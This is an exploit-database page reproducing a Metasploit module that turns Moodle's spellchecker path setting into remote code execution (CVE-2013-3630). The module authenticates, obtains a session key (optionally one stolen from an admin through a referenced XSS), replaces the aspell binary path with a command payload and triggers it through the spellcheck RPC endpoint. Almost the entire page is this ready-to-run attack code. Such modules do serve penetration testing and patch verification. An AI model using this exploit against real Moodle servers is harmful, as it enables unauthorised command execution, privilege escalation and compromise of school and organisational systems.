Moodle Authenticated Spelling Binary Remote Code Execution

2021.10.12
Credit: Brandon Perry
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-732


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Moodle def initialize(info = {}) super( update_info( info, 'Name' => 'Moodle Authenticated Spelling Binary RCE', 'Description' => %q{ Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This module was tested against Moodle version 2.5.2 and 2.2.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'References' => [ ['CVE', '2013-3630'], ['CVE', '2013-4341'], # XSS ['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby telnet python' } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2013-10-30', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']), OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']), OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/']) ] ) end def check return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? v = moodle_version return CheckCode::Detected('Unable to determine moodle version') if v.nil? if Rex::Version.new(v) <= Rex::Version.new('2.5.2') return CheckCode::Appears("Exploitable Moodle version #{v} detected") end CheckCode::Safe("Non-exploitable Moodle version #{v} detected") end def exploit init = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'No response received from the target.') unless init print_status('Authenticating as user: ' << datastore['USERNAME']) # don't use the lib version of the login since this is older and has different parameters login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, 'keep_cookies' => true }) if !login || (login.code != 303) fail_with(Failure::NoAccess, 'Login failed') end print_status('Getting session key to update spellchecker if no session key was specified') sesskey = '' if datastore['SESSKEY'] == '' tinymce = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'section' => 'editorsettingstinymce' }, 'keep_cookies' => true }) sesskey = tinymce.get_hidden_inputs[1]['sesskey'] unless sesskey fail_with(Failure::UnexpectedReply, 'Unable to get proper session key') end else sesskey = datastore['SESSKEY'] end # This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the # time being since it may be the default, or it may just need a send_request_cgi added to actually # accomplish the goal. # post = { # 'section' => 'editorsettingstinymce', # 'sesskey' => sesskey, # 'return' => '', # 's_editor_tinymce_spellengine' => 'PSpellShell', # 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' # } print_status('Updating spellchecker to use the system aspell') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), 'vars_post' => { 'section' => 'systempaths', 'sesskey' => sesskey, 'return' => '', 's__gdversion' => '2', 's__pathtodu' => '/usr/bin/du', 's__aspellpath' => payload.encoded, 's__pathtodot' => '' }, 'keep_cookies' => true }) spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' print_status('Triggering payload') resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'), 'data' => spellcheck, 'ctype' => 'application/json', 'keep_cookies' => true }) if !resp || (resp.code != 200) fail_with(Failure::PayloadFailed, 'Error triggering payload') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top